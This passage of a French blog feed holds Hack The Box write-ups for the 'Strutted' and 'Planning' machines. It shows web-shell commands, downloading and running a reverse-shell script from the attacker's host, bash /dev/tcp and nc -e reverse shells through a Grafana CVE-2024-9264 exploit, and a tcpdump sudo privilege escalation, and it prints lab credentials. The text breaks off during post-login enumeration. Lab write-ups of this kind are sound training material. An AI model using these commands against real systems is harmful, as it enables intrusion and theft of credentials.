            shareableLink.setSelectionRange(<span class="hljs-number">0</span>, <span class="hljs-number">99999</span>);

            <span class="hljs-comment">// Copy the text inside the text field</span>
            navigator.clipboard.writeText(shareableLink.value)
                .then(<span class="hljs-function">() =&gt;</span> {
                    <span class="hljs-comment">// Success feedback</span>
                    copyButton.textContent = <span class="hljs-string">'Copied!'</span>;
                    copyButton.classList.remove(<span class="hljs-string">'btn-outline-secondary'</span>);
                    copyButton.classList.add(<span class="hljs-string">'btn-success'</span>);
                    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
                        copyButton.textContent = <span class="hljs-string">'Copy Shareable Link'</span>;
                        copyButton.classList.remove(<span class="hljs-string">'btn-success'</span>);
                        copyButton.classList.add(<span class="hljs-string">'btn-outline-secondary'</span>);
                    }, <span class="hljs-number">2000</span>);
                })
                .catch(<span class="hljs-function"><span class="hljs-params">err</span> =&gt;</span> {
                    <span class="hljs-comment">// Error feedback</span>
                    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">'Failed to copy: '</span>, err);
                    copyButton.textContent = <span class="hljs-string">'Error!'</span>;
                    copyButton.classList.remove(<span class="hljs-string">'btn-outline-secondary'</span>);
                    copyButton.classList.add(<span class="hljs-string">'btn-danger'</span>);
                    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
                        copyButton.textContent = <span class="hljs-string">'Copy Shareable Link'</span>;
                        copyButton.classList.remove(<span class="hljs-string">'btn-danger'</span>);
                        copyButton.classList.add(<span class="hljs-string">'btn-outline-secondary'</span>);
                    }, <span class="hljs-number">2000</span>);
                });
        });
    });
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Le document a été uploadé avec succès.</p>
<pre><code class="lang-xml">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=id"
GIF89a;uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
</code></pre>
<h1 id="heading-exploitation">Exploitation</h1>
<h2 id="heading-tomcat-exploit">TomCat exploit</h2>
<p>Je me sers d’un exploit trouvé sur un répertoire Github.</p>
<pre><code class="lang-xml">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl "http://strutted.htb/shell.jsp?cmd=cat%20/etc/tomcat9/tomcat-users.xml"
GIF89a;<span class="hljs-meta">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="hljs-comment">&lt;!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
--&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">tomcat-users</span> <span class="hljs-attr">xmlns</span>=<span class="hljs-string">"http://tomcat.apache.org/xml"</span>
              <span class="hljs-attr">xmlns:xsi</span>=<span class="hljs-string">"http://www.w3.org/2001/XMLSchema-instance"</span>
              <span class="hljs-attr">xsi:schemaLocation</span>=<span class="hljs-string">"http://tomcat.apache.org/xml tomcat-users.xsd"</span>
              <span class="hljs-attr">version</span>=<span class="hljs-string">"1.0"</span>&gt;</span>
<span class="hljs-comment">&lt;!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the &lt;!.. ..&gt; that surrounds them. You
  will also need to set the passwords to something appropriate.
--&gt;</span>
<span class="hljs-comment">&lt;!--
  &lt;user username="admin" password="&lt;must-be-changed&gt;" roles="manager-gui"/&gt;
  &lt;user username="robot" password="&lt;must-be-changed&gt;" roles="manager-script"/&gt;
  &lt;role rolename="manager-gui"/&gt;
  &lt;role rolename="admin-gui"/&gt;
  &lt;user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/&gt;
---&gt;</span>
<span class="hljs-comment">&lt;!--
  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the &lt;!.. ..&gt; that surrounds
  them. You will also need to set the passwords to something appropriate.
--&gt;</span>
<span class="hljs-comment">&lt;!--
  &lt;role rolename="tomcat"/&gt;
  &lt;role rolename="role1"/&gt;
  &lt;user username="tomcat" password="&lt;must-be-changed&gt;" roles="tomcat"/&gt;
  &lt;user username="both" password="&lt;must-be-changed&gt;" roles="tomcat,role1"/&gt;
  &lt;user username="role1" password="&lt;must-be-changed&gt;" roles="role1"/&gt;
--&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">tomcat-users</span>&gt;</span>
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl <span class="hljs-string">"http://strutted.htb/shell.jsp?cmd=wget%20http://10.10.15.91:8000/rev.sh%20-O%20/dev/shm/rev.sh"</span>
GIF89a;
┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl <span class="hljs-string">"http://strutted.htb/shell.jsp?cmd=chmod%20+x%20/dev/shm/rev.sh"</span>
GIF89a;
┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ curl <span class="hljs-string">"http://strutted.htb/shell.jsp?cmd=bash%20/dev/shm/rev.sh"</span>
GIF89a;
</code></pre>
<h2 id="heading-connexion-ssh">Connexion SSH</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ sshpass -p <span class="hljs-string">'IT14d6SSP81k'</span> ssh james@strutted.htb

┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ ssh james@strutted.htb -p <span class="hljs-string">'IT14d6SSP81k'</span>
Bad port <span class="hljs-string">'IT14d6SSP81k'</span>
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~/Documents/htb/Strutted/CVE-2024-53677-POC]
└─$ ssh james@strutted.htb
The authenticity of host <span class="hljs-string">'strutted.htb (10.10.11.59)'</span> can<span class="hljs-string">'t be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:2: [hashed name]
    ~/.ssh/known_hosts:9: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>strutted.htb<span class="hljs-string">' (ED25519) to the list of known hosts.
james@strutted.htb'</span>s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Oct  9 11:09:15 PM UTC 2025

  System load:           0.08
  Usage of /:            70.8% of 5.81GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             214
  Users logged <span class="hljs-keyword">in</span>:       0
  IPv4 address <span class="hljs-keyword">for</span> eth0: 10.10.11.59
  IPv6 address <span class="hljs-keyword">for</span> eth0: dead:beef::250:56ff:feb0:7b2e


Expanded Security Maintenance <span class="hljs-keyword">for</span> Applications is not enabled.

0 updates can be applied immediately.
5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check <span class="hljs-keyword">for</span> new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Oct  9 10:59:38 2025 from 10.10.14.87
-bash-5.1$ ls
user.txt
-bash-5.1$ cat user.txt
flag_user{*******************************************}
</code></pre>
<h1 id="heading-privileges-escalation">Privileges Escalation</h1>
<pre><code class="lang-bash">-bash-5.1$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z <span class="hljs-string">'sh -c "cp /bin/bash /tmp/rootsh &amp;&amp; chmod u+s /tmp/rootsh"'</span>
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file <span class="hljs-built_in">limit</span> reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
compress_savefile: execlp(sh -c <span class="hljs-string">"cp /bin/bash /tmp/rootsh &amp;&amp; chmod u+s /tmp/rootsh"</span>, /dev/null) failed: Permission denied

-bash-5.1$ cat /root/root.txt
cat: /root/root.txt: Permission denied

-bash-5.1$ COMMAND=<span class="hljs-string">'id'</span>
TF=$(mktemp)
<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$COMMAND</span>"</span> &gt; <span class="hljs-variable">$TF</span>
chmod +x <span class="hljs-variable">$TF</span>
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z <span class="hljs-variable">$TF</span> -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file <span class="hljs-built_in">limit</span> reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

-bash-5.1$ COMMAND=<span class="hljs-string">'cp /bin/bash /tmp/rootsh; chmod u+s /tmp/rootsh'</span>
TF=$(mktemp)
<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$COMMAND</span>"</span> &gt; <span class="hljs-variable">$TF</span>
chmod +x <span class="hljs-variable">$TF</span>

-bash-5.1$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z <span class="hljs-variable">$TF</span> -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file <span class="hljs-built_in">limit</span> reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

-bash-5.1$ ls -la /tmp/rootsh
-rwsr-xr-x 1 root root 1396520 Oct  9 23:24 /tmp/rootsh

-bash-5.1$ /tmp/rootsh -p
rootsh-5.1<span class="hljs-comment"># whoami</span>
root
rootsh-5.1<span class="hljs-comment"># cat /root/root.txt</span>
flag_root{*****************************************}
</code></pre>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Ce challenge m’a permis de me familiariser avec la technologie Apache TomCat, que je ne connaissais pas vraiment.</p>
<p>J’ai pu améliorer mes compétences avec l’outil Curl.</p>
<p>J’espère que ce write-up vous aura aidé.</p>
<p>Fin.</p>
]]></content:encoded></item><item><title><![CDATA[Planning HTB]]></title><description><![CDATA[Ce challenge nous fourni des identifiants utilisateur de départ.
                                             admin

                                        0D5oT70Fq13EvB5r

Reconnaissance
Ports Open & versions
┌──(kali㉿kali)-[~]
└─$ nmap -p- -sC -s...]]></description><link>https://fr3nch4writeups.hashnode.dev/planning-htb</link><guid isPermaLink="true">https://fr3nch4writeups.hashnode.dev/planning-htb</guid><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[Grafana]]></category><dc:creator><![CDATA[Yoann]]></dc:creator><pubDate>Sun, 02 Nov 2025 18:55:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762106753379/72523812-bfaf-43a9-a14f-d59cb6a4e92b.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ce challenge nous fourni des identifiants utilisateur de départ.</p>
<pre><code class="lang-bash">                                             admin

                                        0D5oT70Fq13EvB5r
</code></pre>
<h1 id="heading-reconnaissance">Reconnaissance</h1>
<h2 id="heading-ports-open-amp-versions">Ports Open &amp; versions</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nmap -p- -sC -sV -O 10.10.11.68

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
</code></pre>
<h2 id="heading-scan-vulnerabilitees-basique">Scan Vulnérabilitées basique</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ nuclei -target http://planning.htb

[missing-sri] [http] [info] http://planning.htb [<span class="hljs-string">"https://code.jquery.com/jquery-3.4.1.min.js"</span>,<span class="hljs-string">"https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.bundle.min.js"</span>]
[external-service-interaction] [http] [info] http://planning.htb
[waf-detect:nginxgeneric] [http] [info] http://planning.htb
[ssh-sha1-hmac-algo] [javascript] [info] planning.htb:22
[ssh-server-enumeration] [javascript] [info] planning.htb:22 [<span class="hljs-string">"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11"</span>]
[ssh-password-auth] [javascript] [info] planning.htb:22
[ssh-auth-methods] [javascript] [info] planning.htb:22 [<span class="hljs-string">"["</span>publickey<span class="hljs-string">","</span>password<span class="hljs-string">"]"</span>]
[openssh-detect] [tcp] [info] planning.htb:22 [<span class="hljs-string">"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.11"</span>]
[form-detection] [http] [info] http://planning.htb
[nginx-version] [http] [info] http://planning.htb [<span class="hljs-string">"nginx/1.24.0"</span>]
[http-missing-security-headers:strict-transport-security] [http] [info] http://planning.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://planning.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://planning.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://planning.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://planning.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://planning.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://planning.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://planning.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://planning.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://planning.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://planning.htb
[tech-detect:nginx] [http] [info] http://planning.htb
[tech-detect:owl-carousel] [http] [info] http://planning.htb
[caa-fingerprint] [dns] [info] planning.htb
[INF] Scan completed <span class="hljs-keyword">in</span> 1m. 24 matches found.
</code></pre>
<h2 id="heading-fuzzing-du-domaine">Fuzzing du Domaine</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ ffuf -c -w namelist.txt -H <span class="hljs-string">'Host: FUZZ.planning.htb'</span> -u  http://10.10.11.68 -<span class="hljs-built_in">fc</span> 301


grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 93ms]
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://grafana.planning.htb -w directory-list-2.3-medium.txt -x php,js,txt --exclude-length 29

/login                (Status: 200) [Size: 38241]
/signup               (Status: 200) [Size: 38241]
/public               (Status: 302) [Size: 31] [--&gt; /public/]
/admin                (Status: 302) [Size: 24] [--&gt; /]
/plugins              (Status: 302) [Size: 24] [--&gt; /]
/api.php              (Status: 401) [Size: 102]
/api.js               (Status: 401) [Size: 102]
/api                  (Status: 401) [Size: 102]
/api.txt              (Status: 401) [Size: 102]
/robots.txt           (Status: 200) [Size: 26]
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl --path-as-is -i <span class="hljs-string">"http://grafana.planning.htb/public/build/datasource/../../../../../../../../etc/passwd"</span>
</code></pre>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -i <span class="hljs-string">"http://grafana.planning.htb/"</span>

HTTP/1.1 302 Found
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 21 Sep 2025 22:11:14 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Cache-Control: no-store
Location: /login
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block

&lt;a href=<span class="hljs-string">"/login"</span>&gt;Found&lt;/a&gt;.
</code></pre>
<p>La commande ci-dessous, m’a permis d’obtenir la version de “Grafana“.</p>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ curl -s <span class="hljs-string">"http://grafana.planning.htb/login"</span> | grep -i version

<span class="hljs-string">"version"</span>:<span class="hljs-string">"11.0.0"</span> et <span class="hljs-string">"Grafana v11.0.0 (83b9528bce)"</span>
</code></pre>
<h1 id="heading-exploitation">Exploitation</h1>
<p>J'ai trouvé une faille sur cette version, la <a target="_blank" href="https://github.com/nollium/CVE-2024-9264.git">CVE-2024-9264</a> qui peut permettre, une Exécution de Code à Distance (RCE).</p>
<p>Ce repo Github, fourni un exploit Python pour la <a target="_blank" href="https://github.com/nollium/CVE-2024-9264.git">https://github.com/nollium/CVE-2024-9264.git</a></p>
<p>Donc, j’ai créé un “virtual environement” Python, afin de lancer le script avec les creds initiaux. Dans le but d’accéder à la base de données de la cible.</p>
<pre><code class="lang-javascript">┌──(kali㉿kali)-[~]
└─$ python3 CVE<span class="hljs-number">-2024</span><span class="hljs-number">-9264.</span>py -u admin -p <span class="hljs-number">0</span>D5oT70Fq13EvB5r  -f /etc/passwd  http:<span class="hljs-comment">//grafana.planning.htb:80</span>

[+] Logged <span class="hljs-keyword">in</span> <span class="hljs-keyword">as</span> admin:<span class="hljs-number">0</span>D5oT70Fq13EvB5r
[+] Reading file: <span class="hljs-regexp">/etc/</span>passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob(<span class="hljs-string">'/etc/passwd'</span>):
root:x:<span class="hljs-number">0</span>:<span class="hljs-number">0</span>:root:<span class="hljs-regexp">/root:/</span>bin/bash
<span class="hljs-attr">daemon</span>:x:<span class="hljs-number">1</span>:<span class="hljs-number">1</span>:daemon:<span class="hljs-regexp">/usr/</span>sbin:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">bin</span>:x:<span class="hljs-number">2</span>:<span class="hljs-number">2</span>:bin:<span class="hljs-regexp">/bin:/u</span>sr/sbin/nologin
<span class="hljs-attr">sys</span>:x:<span class="hljs-number">3</span>:<span class="hljs-number">3</span>:sys:<span class="hljs-regexp">/dev:/u</span>sr/sbin/nologin
<span class="hljs-attr">sync</span>:x:<span class="hljs-number">4</span>:<span class="hljs-number">65534</span>:sync:<span class="hljs-regexp">/bin:/</span>bin/sync
<span class="hljs-attr">games</span>:x:<span class="hljs-number">5</span>:<span class="hljs-number">60</span>:games:<span class="hljs-regexp">/usr/g</span>ames:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">man</span>:x:<span class="hljs-number">6</span>:<span class="hljs-number">12</span>:man:<span class="hljs-regexp">/var/</span>cache/man:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">lp</span>:x:<span class="hljs-number">7</span>:<span class="hljs-number">7</span>:lp:<span class="hljs-regexp">/var/</span>spool/lpd:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">mail</span>:x:<span class="hljs-number">8</span>:<span class="hljs-number">8</span>:mail:<span class="hljs-regexp">/var/m</span>ail:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">news</span>:x:<span class="hljs-number">9</span>:<span class="hljs-number">9</span>:news:<span class="hljs-regexp">/var/</span>spool/news:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">uucp</span>:x:<span class="hljs-number">10</span>:<span class="hljs-number">10</span>:uucp:<span class="hljs-regexp">/var/</span>spool/uucp:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">proxy</span>:x:<span class="hljs-number">13</span>:<span class="hljs-number">13</span>:proxy:<span class="hljs-regexp">/bin:/u</span>sr/sbin/nologin
www-data:x:<span class="hljs-number">33</span>:<span class="hljs-number">33</span>:www-data:<span class="hljs-regexp">/var/</span>www:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">backup</span>:x:<span class="hljs-number">34</span>:<span class="hljs-number">34</span>:backup:<span class="hljs-regexp">/var/</span>backups:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">list</span>:x:<span class="hljs-number">38</span>:<span class="hljs-number">38</span>:Mailing List Manager:<span class="hljs-regexp">/var/</span>list:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">irc</span>:x:<span class="hljs-number">39</span>:<span class="hljs-number">39</span>:ircd:<span class="hljs-regexp">/run/i</span>rcd:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">gnats</span>:x:<span class="hljs-number">41</span>:<span class="hljs-number">41</span>:Gnats Bug-Reporting System (admin):<span class="hljs-regexp">/var/</span>lib/gnats:<span class="hljs-regexp">/usr/</span>sbin/nologin
<span class="hljs-attr">nobody</span>:x:<span class="hljs-number">65534</span>:<span class="hljs-number">65534</span>:nobody:<span class="hljs-regexp">/nonexistent:/u</span>sr/sbin/nologin
<span class="hljs-attr">_apt</span>:x:<span class="hljs-number">100</span>:<span class="hljs-number">65534</span>::<span class="hljs-regexp">/nonexistent:/u</span>sr/sbin/nologin
<span class="hljs-attr">grafana</span>:x:<span class="hljs-number">472</span>:<span class="hljs-number">0</span>::<span class="hljs-regexp">/home/g</span>rafana:<span class="hljs-regexp">/usr/</span>sbin/nologin
</code></pre>
<pre><code class="lang-bash">┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c <span class="hljs-string">"cat /home/grafana/user.txt"</span> http://grafana.planning.htb
[+] Logged <span class="hljs-keyword">in</span> as admin:0D5oT70Fq13EvB5r
[+] Executing <span class="hljs-built_in">command</span>: cat /home/grafana/user.txt
[-] Unexpected response format:
[-] {
    <span class="hljs-string">"results"</span>: {
        <span class="hljs-string">"B"</span>: {
            <span class="hljs-string">"error"</span>: <span class="hljs-string">"exit status 1IO Error: Pipe process exited with non-zero exit 
code=\"1\": cat /home/grafana/user.txt &gt;/tmp/grafana_cmd_output 2&gt;&amp;1 |\n"</span>,
            <span class="hljs-string">"errorSource"</span>: <span class="hljs-string">""</span>,
            <span class="hljs-string">"status"</span>: 500,
            <span class="hljs-string">"frames"</span>: []
        }
    }
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob(<span class="hljs-string">'/tmp/grafana_cmd_output'</span>):
cat: /home/grafana/user.txt: No such file or directory

┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c <span class="hljs-string">"bash -i &gt;&amp; /dev/tcp/10.10.14.XX/4444 0&gt;&amp;1"</span> http://grafana.planning.htb
[+] Logged <span class="hljs-keyword">in</span> as admin:0D5oT70Fq13EvB5r
[+] Executing <span class="hljs-built_in">command</span>: bash -i &gt;&amp; /dev/tcp/10.10.14.XX/4444 0&gt;&amp;1
[-] Unexpected response format:
[-] {
    <span class="hljs-string">"results"</span>: {
        <span class="hljs-string">"B"</span>: {
            <span class="hljs-string">"error"</span>: <span class="hljs-string">"exit status 1sh: 1: Syntax error: Bad fd number\nIO Error: Pipe process
exited with non-zero exit code=\"2\": bash -i &gt;&amp; /dev/tcp/10.10.14.XX/4444 0&gt;&amp;1 
&gt;/tmp/grafana_cmd_output 2&gt;&amp;1 |\n"</span>,
            <span class="hljs-string">"errorSource"</span>: <span class="hljs-string">""</span>,
            <span class="hljs-string">"status"</span>: 500,
            <span class="hljs-string">"frames"</span>: []
        }
    }
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob(<span class="hljs-string">'/tmp/grafana_cmd_output'</span>):
cat: /home/grafana/user.txt: No such file or directory
</code></pre>
<pre><code class="lang-bash">┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c <span class="hljs-string">"nc -e /bin/sh 10.10.15.17 4444"</span> http://grafana.planning.htb
</code></pre>
<pre><code class="lang-bash">┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /proc/1/environ http://grafana.planning.htb
[+] Logged <span class="hljs-keyword">in</span> as admin:0D5oT70Fq13EvB5r
[+] Reading file: /proc/1/environ
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob(<span class="hljs-string">'/proc/1/environ'</span>):
</code></pre>
<p>C’est bon pour la Database !</p>
<pre><code class="lang-bash">┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c <span class="hljs-string">"env"</span> http://grafana.planning.htb
[+] Logged <span class="hljs-keyword">in</span> as admin:0D5oT70Fq13EvB5r
[+] Executing <span class="hljs-built_in">command</span>: env
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv(<span class="hljs-string">'env &gt;/tmp/grafana_cmd_output 2&gt;&amp;1 |'</span>):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob(<span class="hljs-string">'/tmp/grafana_cmd_output'</span>):
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=<span class="hljs-literal">true</span>
GF_PATHS_LOGS=/var/<span class="hljs-built_in">log</span>/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/<span class="hljs-built_in">local</span>/bin:/usr/share/grafana/bin:/usr/<span class="hljs-built_in">local</span>/sbin:/usr/<span class="hljs-built_in">local</span>/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
</code></pre>
<p>Création d’un “environnement” dans le Container Docker, qui me permets d’obtenir des identifiants utilisateur:</p>
<pre><code class="lang-javascript">GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
</code></pre>
<h2 id="heading-connexion-ssh">Connexion SSH</h2>
<pre><code class="lang-bash">┌──(kali㉿kali)-[~]
└─$ ssh enzo@10.10.11.68     
The authenticity of host <span class="hljs-string">'10.10.11.68 (10.10.11.68)'</span> can<span class="hljs-string">'t be established.
ED25519 key fingerprint is SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>10.10.11.68<span class="hljs-string">' (ED25519) to the list of known hosts.
enzo@10.10.11.68'</span>s password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)


Last login: Sun Sep 21 23:57:11 2025 from 10.10.15.17
enzo@planning:~$
</code></pre>
<pre><code class="lang-bash">enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*                               LISTEN      -                   
tcp        0      0 127.0.0.1:38283         0.0.0.0:*                           LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*                           LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*                               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*                               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*                           LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*                               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*                           LISTEN      -                   
tcp6       0      0 :::22                   :::*                                            LISTEN      -                   
udp        0      0 127.0.0.54:53           0.0.0.0:*                                       -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                                      -          les tests précédents,
</code></pre>
<pre><code class="lang-bash">enzo@planning:/$ ls
bin@                boot/   dev/  home/  lib64@              lost+found/  mnt/  proc/  run/   sbin.usr-is-merged/  sys/  usr/
bin.usr-is-merged/  cdrom/  etc/  lib@   lib.usr-is-merged/  media/       opt/  root/  sbin@  srv/                 tmp/  var/
enzo@planning:/$ <span class="hljs-built_in">cd</span> opt
enzo@planning:/opt$ ls
containerd  crontabs
